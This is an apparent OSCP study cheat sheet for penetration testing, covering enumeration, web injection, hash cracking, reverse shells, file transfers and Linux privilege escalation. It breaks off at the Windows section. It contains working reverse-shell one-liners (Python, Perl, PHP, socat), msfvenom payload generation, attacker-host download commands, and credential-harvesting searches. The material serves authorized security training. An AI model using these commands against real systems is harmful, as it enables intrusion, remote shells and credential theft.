OSCP¶
Practical notes for moving from an unknown target to a controlled system. These pages are organized by task rather than by the PEN-200 course syllabus.
Attack loop¶
- Establish the target, scope, and a clean workspace.
- Discover every reachable TCP and relevant UDP service.
- Enumerate each service manually before searching for exploits.
- Turn information into a foothold: credentials, writable content, vulnerable applications, or unsafe configuration.
- Enumerate again from the new security context.
- Escalate privileges, reuse credentials, and pivot only when the evidence supports it.
Working variables¶
Use the same variable names throughout the notes so commands remain easy to adapt.
export IP='192.0.2.10'
export PORT='80'
export URL="http://$IP:$PORT"
export LHOST='192.0.2.20'
export LPORT='443'
export DOMAIN='example.local'
export USER='username'
export PASS='password'
Do not create aliases that replace standard tools such as nc, wget, john, or smbclient. They make copied commands unpredictable.
Operating principle¶
Every useful finding should produce a next action. Record usernames, hostnames, domains, technologies, versions, credentials, writable locations, and trust relationships as soon as they appear. When stuck, return to the evidence rather than running a larger automated scan.
Methodology¶
Prepare the workspace¶
Keep raw tool output separate from working notes and downloaded files.
mkdir -p "$IP"/{scans,loot,web,exploits}
cd "$IP"
date -Is | tee notes.md
umask 077
touch findings.md credentials.md attempts.md
script -q -f terminal.log
Use exit to close the recorded terminal session. For parallel work, keep listeners, scans, web traffic, and notes in named terminal panes.
Maintain four short lists while working:
- confirmed facts;
- credentials and where they came from;
- hypotheses worth testing;
- attempted paths and why they failed.
Phase 1: discover¶
- Verify connectivity and determine whether the host answers only on specific protocols.
- Scan all TCP ports before assuming the initial result is complete.
- Run focused scripts and version detection only against discovered ports.
- Check common UDP services when TCP findings do not explain the target.
- Resolve discovered hostnames and virtual hosts locally.
The output of this phase should be an attack-surface list, not merely an Nmap file.
Phase 2: enumerate¶
For every service, answer:
- What exact product or protocol is exposed?
- Does it allow anonymous or guest access?
- What names, shares, files, routes, or users can it reveal?
- Does it accept credentials already discovered elsewhere?
- Can any accessible resource be written or executed?
- Is the version actually vulnerable under this configuration?
Prefer a small number of deliberate commands over several overlapping enumeration scripts.
Capture banners and certificates independently when version detection is vague.
nc -nv "$IP" "$PORT"
openssl s_client -connect "$IP:$PORT" -servername "$IP" </dev/null
curl -vk --max-time 10 "$URL"
Phase 3: obtain a foothold¶
Prioritize attack paths with evidence behind them:
- exposed credentials or secrets;
- unsafe file upload or writable network shares;
- authenticated application functionality;
- injection and file-read vulnerabilities;
- configuration-specific public exploits;
- password guessing with a justified, narrow candidate set.
For public exploits, read the source before execution. Identify the vulnerable version range, required access, hard-coded addresses, callback settings, and expected side effects.
searchsploit '<product> <version>'
searchsploit -w '<product> <version>'
searchsploit -m <exploit-id-or-path>
file exploits/*
rg -n 'RHOST|RPORT|LHOST|LPORT|target|payload' exploits/
Phase 4: enumerate locally¶
Immediately record the current identity, host, network configuration, groups, privileges, running services, listening ports, and interesting files. Local enumeration should explain the system rather than produce an unreadable dump.
Ask:
- Which security boundary am I trying to cross?
- What does the current user control?
- What privileged process consumes data that the user can modify?
- Which credentials or tokens are available in this context?
Phase 5: escalate and expand¶
Test configuration mistakes before kernel exploits. After escalation, repeat credential and network discovery because privileged access may expose new secrets, interfaces, routes, or sessions.
# Compare the post-escalation Windows context
whoami /all
Get-SmbConnection
Get-NetTCPConnection -State Listen
When stuck¶
- Re-read every service banner and application response.
- Compare TCP and UDP coverage with the service checklist.
- Revisit authenticated functionality using every recovered credential.
- Check hostnames, virtual hosts, redirects, certificates, and source comments.
- Inspect files already downloaded instead of collecting more data.
- Confirm that an exploit matches the exact architecture and configuration.
- Try the same hypothesis manually with fewer moving parts.
Enumeration¶
TCP discovery¶
Start with a fast full-port SYN scan. Save normal, grepable, and XML output for later parsing.
Use a TCP connect scan when raw sockets are unavailable or when scanning through a tunnel.
Extract the discovered ports and run focused default scripts and version detection.
ports=$(awk -F'Ports: ' '/Ports:/{print $2}' scans/tcp-all.gnmap \
| tr ',' '\n' | awk -F/ '$2 == "open" {gsub(/ /, "", $1); print $1}' \
| paste -sd,)
sudo nmap -Pn -n -sC -sV -p "$ports" "$IP" -oA scans/tcp-services
Run an additional script category only against a justified service and review what the category will execute first.
nmap --script-help 'safe and discovery' | less
sudo nmap -Pn -n -sV --version-all -p "$ports" "$IP" -oA scans/tcp-versions
If packet loss or filtering is suspected, reduce the rate and retry. A fast scan is a starting point, not proof that a port is closed.
UDP discovery¶
Begin with common ports, then expand when the target suggests DNS, SNMP, NFS, TFTP, or IPsec.
sudo nmap -Pn -n -sU --top-ports 50 --open "$IP" -oA scans/udp-top
sudo nmap -Pn -n -sU -sV -p 53,69,111,123,137,161,500,4500 "$IP" -oA scans/udp-focus
Validate likely services directly:
dig @"$IP" version.bind chaos txt
snmpwalk -v2c -c public -t 2 -r 1 "$IP" 1.3.6.1.2.1.1
rpcinfo -p "$IP"
open|filtered is not a confirmed service. Use a protocol-specific client or Nmap script to validate it.
Quick network checks¶
For a directly attached lab network:
Check IPv6 when the target exposes an address or local enumeration reveals an IPv6 route.
Build the attack-surface table¶
Convert scan output into a short working table:
| Port | Service | Product/version | Access | Finding | Next action |
|---|---|---|---|---|---|
| 80 | HTTP | Apache/PHP | Public | Redirects to hostname | Add hostname and enumerate vhosts |
| 445 | SMB | Windows | Guest denied | Domain name disclosed | Test known credentials |
Useful output conversions:
xsltproc scans/tcp-services.xml -o scans/tcp-services.html
rg -n 'open|Service Info|Subject Alternative Name' scans/
grep '/open/' scans/tcp-all.gnmap
High-value correlations¶
- A hostname in an HTTP redirect implies DNS or
/etc/hostswork. - A certificate may reveal internal names or additional applications.
- SMB, LDAP, Kerberos, and DNS together usually indicate Active Directory.
- RPC and NFS together warrant export and UID-mapping checks.
- Database ports become more valuable after application credentials are found.
- A service bound only to localhost may become reachable after a foothold or pivot.
Minimal service checklist¶
21 FTP: anonymous login, files, write access
22 SSH: banner, usernames, recovered keys or passwords
25/465 SMTP: users, relay behavior, application mail flow
53 DNS: names, records, zone transfer
80/443 HTTP: hostnames, routes, parameters, files, authentication
111/2049 RPC/NFS: exports, permissions, UID mapping
135/139/445 Windows/SMB: domain, users, shares, permissions
161 SNMP: system, processes, software, network, credentials
389/636 LDAP: naming context, users, groups, ACLs
1433 MSSQL: credentials, roles, linked servers, command execution
3306 MySQL: credentials, databases, file privileges
3389 RDP: domain, valid credentials, restricted administration
5985/5986 WinRM: authenticated PowerShell access
Troubleshooting¶
- Empty script output does not mean the service has no useful behavior.
- Retry HTTP by IP and hostname, over both HTTP and HTTPS.
- Distinguish connection failure, authentication failure, and authorization failure.
- Preserve raw output; condensed notes often omit the clue needed later.
- If a port behaves differently through Nmap, test it with the native client.
- Compare results from Kali with results obtained from a pivot host.
- Confirm whether a timeout is caused by routing, filtering, TLS, or the application protocol.
Services¶
Use this page after port discovery. Begin without credentials, repeat with every credential set recovered later, and record both readable and writable resources.
FTP — 21¶
ftp "$IP"
nmap -Pn -p21 --script ftp-anon,ftp-syst "$IP"
curl -v "ftp://anonymous:anonymous@example.com@$IP/"
Check anonymous access, directory listings, downloadable files, and whether an uploaded file becomes reachable through another service such as HTTP.
SSH — 22¶
ssh -v "$USER@$IP"
ssh -i id_rsa "$USER@$IP"
ssh-keygen -y -f id_rsa
nmap -Pn -p22 --script ssh-auth-methods,ssh2-enum-algos,ssh-hostkey "$IP"
SSH usually becomes useful after discovering a username, password, or private key. Inspect key permissions and convert encrypted keys for offline recovery.
chmod 600 id_rsa
ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
DNS — 53¶
dig @"$IP" -x "$IP"
dig @"$IP" example.local ANY
dig @"$IP" example.local AXFR
dig @"$IP" host.example.local A
dig @"$IP" example.local NS
dig @"$IP" _ldap._tcp.dc._msdcs.example.local SRV
dnsrecon -n "$IP" -d example.local -t std
Add confirmed names to /etc/hosts; do not rely on the target IP alone when enumerating web applications.
SMTP — 25, 465, 587¶
nc -nv "$IP" 25
smtp-user-enum -M VRFY -U users.txt -t "$IP"
nmap -Pn -p25 --script smtp-commands,smtp-enum-users "$IP"
swaks --server "$IP" --quit-after EHLO
Manual SMTP dialogue:
Useful findings include valid usernames, internal domains, application-generated mail, and credentials stored in mail configuration.
SMB — 139, 445¶
First pass¶
nmap -Pn -p139,445 --script smb-protocols,smb2-security-mode,smb2-time "$IP"
smbclient -N -L "//$IP"
netexec smb "$IP" -u '' -p '' --shares
rpcclient -N -U '' "$IP"
enum4linux-ng -A "$IP"
With credentials¶
smbclient -L "//$IP" -U "$DOMAIN/$USER%$PASS"
smbclient "//$IP/share" -U "$DOMAIN/$USER%$PASS"
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --shares
smbmap -H "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS"
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --users
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --sessions
Inside smbclient:
Distinguish share access from filesystem permissions. A share may be visible but unreadable, or readable while a particular directory is writable.
RPC enumeration¶
NFS — 111, 2049¶
rpcinfo -p "$IP"
showmount -e "$IP"
nmap -Pn -p111,2049 --script 'nfs*' "$IP"
sudo mkdir -p /mnt/nfs
sudo mount -t nfs -o vers=3,nolock "$IP:/export" /mnt/nfs
find /mnt/nfs -maxdepth 3 -ls
Check ownership by numeric UID, writable directories, keys, backups, and whether root_squash is enabled. Unmount when finished.
SNMP — 161/UDP¶
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt "$IP"
snmpwalk -v2c -c public "$IP" 1.3.6.1.2.1.1
snmpwalk -v2c -c public "$IP" 1.3.6.1.2.1.25.4.2.1.2
snmpwalk -v2c -c public "$IP" 1.3.6.1.2.1.25.6.3.1.2
snmpwalk -v2c -c public "$IP" 1.3.6.1.2.1.4.20.1.1
snmpwalk -v2c -c public "$IP" 1.3.6.1.2.1.6.13.1.3
Prioritize system details, running processes, installed software, interfaces, routes, and command-line arguments.
LDAP — 389, 636¶
Discover the naming context before constructing searches.
ldapsearch -x -H "ldap://$IP" -s base namingcontexts
ldapsearch -x -H "ldap://$IP" -b 'DC=example,DC=local' '(objectClass=user)' sAMAccountName
ldapsearch -x -H "ldap://$IP" -D "$USER@$DOMAIN" -w "$PASS" \
-b 'DC=example,DC=local' '(objectClass=*)'
ldapsearch -x -H "ldap://$IP" -D "$USER@$DOMAIN" -w "$PASS" \
-b 'DC=example,DC=local' '(objectClass=group)' cn member
ldapsearch -x -H "ldap://$IP" -D "$USER@$DOMAIN" -w "$PASS" \
-b 'DC=example,DC=local' '(objectClass=computer)' dNSHostName operatingSystem
For TLS problems, test ldaps:// and inspect the certificate for domain names.
Databases¶
MSSQL — 1433¶
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT name FROM sys.databases;
EXEC sp_linkedservers;
SELECT name,type_desc,is_disabled FROM sys.server_principals;
MySQL — 3306¶
SELECT user();
SHOW DATABASES;
SELECT user,host,plugin FROM mysql.user;
SHOW VARIABLES LIKE 'secure_file_priv';
SELECT @@version,@@hostname;
PostgreSQL — 5432¶
Redis — 6379¶
redis-cli -h "$IP" ping
redis-cli -h "$IP" INFO
redis-cli -h "$IP" CONFIG GET dir
redis-cli -h "$IP" CONFIG GET dbfilename
redis-cli -h "$IP" --user "$USER" --pass "$PASS" INFO
Check authentication, server version, bound interfaces, persistence paths, and accessible keys before considering any write primitive.
RDP and WinRM¶
xfreerdp3 /v:"$IP" /u:"$USER" /p:"$PASS" /d:"$DOMAIN" /cert:ignore
evil-winrm -i "$IP" -u "$USER" -p "$PASS"
evil-winrm -i "$IP" -u "$USER" -H '<NTLM>'
netexec rdp "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS"
netexec winrm "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS"
Authentication success does not guarantee authorization to log on through that service. Record the distinction and try the same credentials against other appropriate services.
Web¶
Establish the application baseline¶
curl -kI "$URL"
curl -ks "$URL" | tee web/index.html
whatweb -a 3 "$URL"
nmap -Pn -p "$PORT" --script http-title,http-headers,http-methods "$IP"
Build requests explicitly when reproducing application behavior:
curl -ksS -D web/headers.txt -o web/body.html "$URL"
curl -ksS -X OPTIONS -i "$URL"
curl -ksS -u "$USER:$PASS" "$URL/protected"
curl -ksS -b cookies.txt -c cookies.txt "$URL/account"
curl -ksS -H 'Content-Type: application/json' -d '{"name":"test"}' "$URL/api/items"
Record redirects, cookies, security headers, framework clues, server versions, comments, forms, API routes, and referenced JavaScript files. Browse through an intercepting proxy while keeping command-line requests reproducible.
Hostnames and virtual hosts¶
Extract names from redirects and TLS certificates, add confirmed names to /etc/hosts, and test virtual hosts.
openssl s_client -connect "$IP:443" -servername example.local </dev/null 2>/dev/null \
| openssl x509 -noout -subject -issuer -ext subjectAltName
ffuf -u "http://$IP/" -H 'Host: FUZZ.example.local' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs <baseline-size>
gobuster vhost -u "http://$IP" --append-domain -d example.local \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
Filter using a measured baseline response rather than copying an arbitrary size.
Content discovery¶
feroxbuster -u "$URL" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
-x php,asp,aspx,jsp,txt,bak,zip -o web/ferox.txt
ffuf -u "$URL/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-e .php,.txt,.bak,.zip -ac
gobuster dir -u "$URL" \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-x php,asp,aspx,jsp,txt,bak,zip -o web/gobuster.txt
nikto -host "$URL" -output web/nikto.txt
Repeat discovery from authenticated areas and beneath interesting directories. Check robots.txt, sitemap.xml, backup extensions, exposed repositories, configuration files, and upload locations.
Parameter discovery¶
ffuf -u "$URL/page?FUZZ=test" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -ac
ffuf -u "$URL/login" -X POST -H 'Content-Type: application/x-www-form-urlencoded' \
-d 'FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -ac
For each parameter, note its context: filesystem path, database query, shell command, template, redirect, serialized object, or server-side request.
File read and path traversal¶
Test a known local file and vary traversal depth, encoding, separators, and expected suffixes.
curl -ksG "$URL/download" --data-urlencode 'file=../../../../etc/passwd'
curl -ks "$URL/index.php?page=php://filter/convert.base64-encode/resource=index.php"
Useful follow-up targets include application configuration, source files, log files, SSH keys, service credentials, and process environment—not indiscriminate filesystem dumps.
File upload¶
Determine separately:
- which extensions and MIME types are accepted;
- whether the server renames the file;
- where the file is stored;
- whether it is rendered, parsed, or executed;
- whether path or filename metadata can be controlled.
Start with a harmless marker file. Confirm retrieval before attempting a server-side payload.
printf 'upload-marker\n' > web/marker.txt
curl -ksS -F 'file=@web/marker.txt;type=text/plain' "$URL/upload"
curl -ksS -F 'avatar=@web/marker.txt' -b cookies.txt "$URL/profile"
Inspect multipart field names, filenames, returned paths, and server-side renaming in the intercepted browser request.
SQL injection¶
Begin with manual tests and compare response status, length, content, and timing.
curl -ksG "$URL/item" --data-urlencode "id=1' AND '1'='2'-- -"
curl -ksS "$URL/search" -H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "q=test' ORDER BY 2-- -"
Identify the database and column count before building a data-extraction query. Do not treat an error page alone as proof of exploitable injection.
Command injection¶
Use a harmless, observable command first and account for the host operating system and shell context.
curl -ksG "$URL/ping" --data-urlencode 'host=127.0.0.1;id'
curl -ksG "$URL/ping" --data-urlencode 'host=127.0.0.1;sleep 5' \
-o /dev/null -w 'total=%{time_total}\n'
If output is not reflected, test timing or an authorized callback. Encode only after understanding which layer blocks the raw input.
Authentication and sessions¶
- Test registration, password reset, remember-me, and invitation flows.
- Compare behavior across users rather than guessing authorization flaws.
- Inspect tokens for predictable claims, expiry, audience, and signing behavior.
- Look for identifiers in URLs, JSON bodies, hidden fields, and API requests.
- Re-run content discovery with authenticated cookies or headers.
curl -ksS -c cookies.txt -d "username=$USER&password=$PASS" "$URL/login"
ffuf -u "$URL/FUZZ" -b "$(awk 'NF && $1 !~ /^#/{printf "%s=%s;",$6,$7}' cookies.txt)" \
-w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -ac
Source and dependency review¶
When source is available, search for routes, secrets, database connections, unsafe process execution, file operations, deserialization, and authorization checks.
rg -n -i 'password|secret|token|api[_-]?key|connection|string' .
rg -n 'exec\(|system\(|popen\(|subprocess|ProcessBuilder|Runtime\.getRuntime' .
rg -n 'upload|download|readFile|sendFile|deserialize|unserialize' .
rg -n 'TODO|FIXME|DEBUG|localhost|127\.0\.0\.1|0\.0\.0\.0' .
git log --all --oneline --decorate
git log -p --all -- .env '*.config' '*.yml' '*.yaml'
Validate dependency versions against the lockfile and actual configuration; product identification alone is not enough.
When stuck¶
- Follow redirects manually and inspect every hostname.
- Compare unauthenticated and authenticated responses.
- Review JavaScript and API traffic for routes absent from the UI.
- Try alternate HTTP methods and content types where the application supports them.
- Revisit downloaded backups and configuration files.
- Confirm that a suspected vulnerability reaches the intended interpreter.
Credentials¶
Treat credentials as relationships between an identity, a secret, a scope, and a source. A password without its domain or originating service is incomplete.
Credential ledger¶
| Domain/host | Username | Secret type | Source | Validated services |
|---|---|---|---|---|
EXAMPLE | jsmith | Password | Web configuration | SMB, WinRM |
Never overwrite the original hash or ciphertext. Keep transformed cracking input in a separate file.
Identify hashes¶
hashid hashes.txt
hashcat --example-hashes | less
nth --file hashes.txt
file hashes.txt
awk '{print length($0),$0}' hashes.txt | sort -n
Prefer format evidence—prefix, length, source application, and protocol—over a generic hash identifier.
Common conversions¶
ssh2john id_rsa > id_rsa.hash
keepass2john Database.kdbx > keepass.hash
zip2john archive.zip > zip.hash
pdf2john document.pdf > pdf.hash
pfx2john certificate.pfx > pfx.hash
office2john document.docx > office.hash
bitlocker2john -i disk.img > bitlocker.hash
John and Hashcat¶
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt
hashcat -m <mode> hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m <mode> hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m <mode> hashes.txt --show
hashcat -m <mode> hashes.txt -a 3 '?u?l?l?l?l?d?d?d?d'
hashcat -m <mode> hashes.txt --status --status-timer 10
Useful modes:
| Material | Hashcat mode |
|---|---|
| NTLM | 1000 |
| NetNTLMv2 | 5600 |
| Kerberos AS-REP etype 23 | 18200 |
| Kerberos TGS etype 23 | 13100 |
| KeePass | 13400 |
Confirm the mode against current hashcat --example-hashes output.
Generate targeted candidates¶
Build candidates from evidence such as organization names, seasons, years, products, usernames, and passwords already recovered.
cewl -d 2 -m 5 -w web.words "$URL"
hashcat --stdout base.words -r /usr/share/hashcat/rules/best64.rule > mutated.words
sort -u web.words mutated.words > candidates.txt
crunch 8 10 -t 'Example%%%^^' -o pattern.words
printf '%s\n' Spring Summer Autumn Winter | sed 's/$/2026!/' >> candidates.txt
Search Linux files¶
find /home /opt /var/www -type f \( -name '*.conf' -o -name '*.ini' -o -name '*.env' \
-o -name '*.xml' -o -name '*.yml' -o -name '*.yaml' \) -readable 2>/dev/null
rg -n -i 'password|passwd|secret|token|api[_-]?key|credential' /var/www /opt 2>/dev/null
find /home -type f \( -name 'id_*' -o -name '*.kdbx' -o -name '*.key' \) 2>/dev/null
grep -RInsE 'pass(word)?|secret|token|api[_-]?key' /etc /home /opt /var/www 2>/dev/null
tr '\0' '\n' </proc/<PID>/environ
systemctl show <service> --property=Environment --property=EnvironmentFiles
Also inspect shell history, service unit files, scheduled tasks, process command lines, mounted shares, and application backups.
Search Windows files and registry¶
Get-ChildItem C:\Users,C:\inetpub,C:\xampp -Recurse -Force -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match '\.(config|ini|xml|txt|ps1|bat|kdbx)$' }
Get-ChildItem C:\Users -Recurse -File -ErrorAction SilentlyContinue |
Select-String -Pattern 'password|passwd|secret|token|connectionString'
Get-Content (Get-PSReadLineOption).HistorySavePath
cmdkey /list
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
findstr /si /m "password secret token connectionString" C:\inetpub\wwwroot\*.config C:\inetpub\wwwroot\*.xml
netsh wlan show profiles
netsh wlan show profile name="<profile>" key=clear
Scope broad searches to likely application and user directories first; searching an entire filesystem produces noise and may be slow.
Validate deliberately¶
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS"
netexec winrm "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS"
ldapwhoami -x -H "ldap://$IP" -D "$USER@$DOMAIN" -w "$PASS"
netexec ssh "$IP" -u "$USER" -p "$PASS"
netexec ftp "$IP" -u "$USER" -p "$PASS"
Narrow online checks¶
Use online guesses only when the target is authorized, the protocol is known, and the candidate set is small enough to avoid uncontrolled lockouts.
hydra -L users.txt -P candidates.txt -f -V ssh://"$IP"
hydra -L users.txt -P candidates.txt -f -V smb://"$IP"
hydra -L users.txt -P candidates.txt "$IP" http-post-form \
'/login:username=^USER^&password=^PASS^:F=Invalid credentials'
Validate the failure marker and request format against a captured login attempt before starting Hydra.
Avoid uncontrolled spraying. Check the password policy, use a narrow user list, limit attempts, and record which target and protocol validated each credential.
Troubleshooting¶
- Try
DOMAIN/user,user@domain, and local authentication only when appropriate. - Distinguish an invalid password from a valid account lacking logon rights.
- Check clock skew before concluding Kerberos credentials are invalid.
- A reused password may belong to a different local account with the same name.
- Preserve exact capitalization and special characters when moving secrets between shells.
- Remove
$HEX[]wrappers or application metadata only when the cracking tool's input format requires it. - Use
--usernamein Hashcat only for files that actually prefix each hash with a username.
Shells and Transfers¶
Listeners¶
rlwrap nc -lvnp "$LPORT"
socat -d -d TCP-LISTEN:"$LPORT",reuseaddr,fork STDOUT
sudo ncat --ssl -lvnp "$LPORT"
Use a port the target can reach. Confirm the callback path before debugging a payload.
Linux reverse shells¶
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("'"$LHOST"'",'"$LPORT"'));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
Other runtime options:
perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
php -r '$s=fsockopen("<LHOST>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'
socat TCP:<LHOST>:<LPORT> EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane
URL-encode or otherwise transform a payload only for the context that requires it. Keep an unencoded copy in the notes.
Stabilize a Unix shell¶
Press Ctrl-Z, then configure the local terminal:
Restore a broken local terminal with stty sane.
Windows command access¶
Prefer a payload generated for the target architecture and available runtime. For a simple PowerShell download-and-execute flow:
If execution policy blocks a script file, determine whether an in-memory command or an allowed native tool is more appropriate. Do not assume PowerShell is the only option.
Generate architecture-appropriate payloads when a native executable is needed:
msfvenom -p windows/x64/shell_reverse_tcp LHOST="$LHOST" LPORT="$LPORT" -f exe -o shell.exe
msfvenom -p linux/x64/shell_reverse_tcp LHOST="$LHOST" LPORT="$LPORT" -f elf -o shell.elf
msfvenom -p php/reverse_php LHOST="$LHOST" LPORT="$LPORT" -f raw -o shell.php
Serve files from Kali¶
python3 -m http.server 8000 --directory .
sudo impacket-smbserver share "$PWD" -smb2support
sudo impacket-smbserver share "$PWD" -smb2support -username "$USER" -password "$PASS"
Download to Linux¶
wget "http://$LHOST:8000/file" -O /tmp/file
curl -fsSL "http://$LHOST:8000/file" -o /tmp/file
scp "$USER@$IP:/remote/path/file" ./loot/
scp ./file "$USER@$IP:/tmp/file"
Download to Windows¶
Invoke-WebRequest "http://<LHOST>:8000/file.exe" -OutFile C:\Windows\Temp\file.exe
certutil.exe -urlcache -split -f "http://<LHOST>:8000/file.exe" C:\Windows\Temp\file.exe
copy \\<LHOST>\share\file.exe C:\Windows\Temp\file.exe
bitsadmin /transfer job /download /priority normal http://<LHOST>:8000/file.exe C:\Windows\Temp\file.exe
Start-BitsTransfer -Source 'http://<LHOST>:8000/file.exe' -Destination 'C:\Windows\Temp\file.exe'
$wc = New-Object Net.WebClient
$wc.DownloadFile('http://<LHOST>:8000/file.exe','C:\Windows\Temp\file.exe')
Exfiltrate a file¶
HTTP upload receiver¶
Use an upload server you control, then send the file from the target.
SMB¶
For a one-off TCP transfer, start the receiver first:
Encode small files¶
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Path\file.bin'))
[IO.File]::WriteAllBytes('C:\Path\file.bin',[Convert]::FromBase64String('<base64>'))
Always compare hashes after transferring binaries.
Cross-compile¶
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe
i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe
gcc exploit.c -o exploit
gcc exploit.c -static -o exploit-static
python3 -m py_compile script.py
Match the operating system, architecture, libraries, and compiler assumptions of the target. A successful compile does not prove the exploit is compatible.
Troubleshooting¶
- Verify routing and firewall behavior with a simple HTTP request first.
- Try alternate writable directories such as
/tmp,/dev/shm, or the current user's profile. - Check whether a proxy, constrained language mode, application control, or antivirus is changing behavior.
- Prefer native tools when transferring a single small file.
- If the shell dies instantly, remove interactive flags and simplify the payload.
Linux Privilege Escalation¶
Privilege escalation is usually a trust-boundary problem: a privileged process reads, executes, imports, or modifies something controlled by the current user.
Baseline¶
id
uname -a
cat /etc/os-release
hostname
sudo -l
ip addr
ip route
ss -lntup
ps auxww
findmnt
env | sort
getent passwd
getent group
last -a | head
w
Also record the current shell, environment, groups, home directory, umask, and available compilers or scripting runtimes.
Sudo¶
For every allowed command, ask whether it can:
- start a shell or editor;
- execute another command;
- load a library, plugin, or configuration file;
- write an arbitrary file;
- preserve a dangerous environment variable;
- use a wildcard or attacker-controlled path.
Test the exact rule, including arguments and host restrictions. Do not assume a binary behaves the same under sudo as it does interactively.
SUID and SGID¶
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm /6000 -type f -exec ls -la {} \; 2>/dev/null
Prioritize unusual binaries and standard tools with shell, file-write, or command execution features. Inspect custom binaries:
file /path/to/binary
strings -a /path/to/binary | less
ldd /path/to/binary
strace -f /path/to/binary 2>&1 | less
readelf -d /path/to/binary
objdump -x /path/to/binary | less
Look for relative commands, writable configuration, unsafe temporary files, and libraries loaded from controllable paths.
Capabilities¶
High-value capabilities include cap_setuid, cap_dac_read_search, cap_dac_override, and cap_sys_admin. Interpret the capability together with what the binary can actually do.
Scheduled work¶
cat /etc/crontab
find /etc/cron* -maxdepth 2 -type f -ls 2>/dev/null
systemctl list-timers --all
ls -la /var/spool/cron /var/spool/cron/crontabs 2>/dev/null
systemctl list-timers --all --no-pager
Observe activity when the definition does not reveal the executed path:
Check the script, its parent directories, referenced files, wildcard expansion, PATH, and environment. Write access must influence privileged execution to be useful.
Services and sockets¶
systemctl list-units --type=service --state=running
systemctl cat <service>
ss -lntup
find /run /var/run -type s -ls 2>/dev/null
systemctl list-unit-files --type=service
find /etc/systemd/system /usr/local/lib/systemd/system -type f -writable -ls 2>/dev/null
ls -la /etc/init.d 2>/dev/null
Investigate custom services, local-only management interfaces, Docker sockets, and writable service files. Group membership in docker, lxd, or similar administrative services may cross the root boundary.
Writable paths and PATH usage¶
find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|dev)'
find / -writable -type f 2>/dev/null | grep -vE '^/(proc|sys|dev)'
printf '%s\n' "$PATH" | tr ':' '\n'
find / -user root -perm -002 -type f -ls 2>/dev/null
find / -user root -perm -002 -type d -ls 2>/dev/null
namei -l /path/to/interesting/file
getfacl /path/to/interesting/file
A writable directory is only a finding when a privileged process consumes data from it. For PATH hijacking, confirm that a privileged program invokes a command without an absolute path and that a searched directory is controllable.
Credentials and sensitive files¶
find /home /root -maxdepth 3 -type f \( -name '.*history' -o -name 'id_*' \
-o -name '*.kdbx' \) -ls 2>/dev/null
rg -n -i 'password|secret|token|credential' /var/www /opt /srv 2>/dev/null
cat /etc/passwd
ls -la /etc/shadow /etc/passwd
find / -type f \( -name '*.bak' -o -name '*.old' -o -name '*.save' -o -name '*.swp' \) 2>/dev/null
find /home -maxdepth 4 -type f -readable -printf '%u %m %p\n' 2>/dev/null
ls -la /var/mail /var/spool/mail 2>/dev/null
for p in /proc/[0-9]*/environ; do tr '\0' '\n' <"$p" 2>/dev/null; done | sort -u
Review application configuration, backups, shell history, mail, mounted shares, process environments, and command-line arguments.
NFS and containers¶
cat /etc/exports 2>/dev/null
mount
ls -l /var/run/docker.sock 2>/dev/null
docker images 2>/dev/null
id | grep -E 'docker|lxd|disk'
docker ps -a 2>/dev/null
lxc list 2>/dev/null
From Kali, validate NFS export behavior:
For NFS, correlate export options with numeric UID ownership. For containers, determine whether the current context can mount the host filesystem or control a privileged container runtime.
Kernel exploits: last resort¶
uname -a
cat /proc/version
dpkg -l 2>/dev/null | head
rpm -qa 2>/dev/null | head
sysctl kernel.unprivileged_userns_clone 2>/dev/null
grep -E 'CONFIG_(USER_NS|BPF|OVERLAY_FS)' /boot/config-"$(uname -r)" 2>/dev/null
Confirm the exact kernel build, architecture, distribution patches, required configuration, and exploit side effects. Prefer configuration flaws because kernel exploits may crash or corrupt the target.
Automated enumeration¶
Run tools such as linpeas or lse to support manual reasoning, not replace it. Review the output by trust boundary: credentials, sudo, SUID, services, scheduled work, writable paths, containers, and kernel exposure.
When stuck¶
- Re-run enumeration after obtaining a new group or credential.
- Inspect custom applications and services before standard system binaries.
- Compare file ownership with the identity of the consuming process.
- Monitor processes and filesystem activity over time.
- Check local-only ports from the target itself.
Windows Privilege Escalation¶
Baseline¶
whoami /all
hostname
systeminfo
ipconfig /all
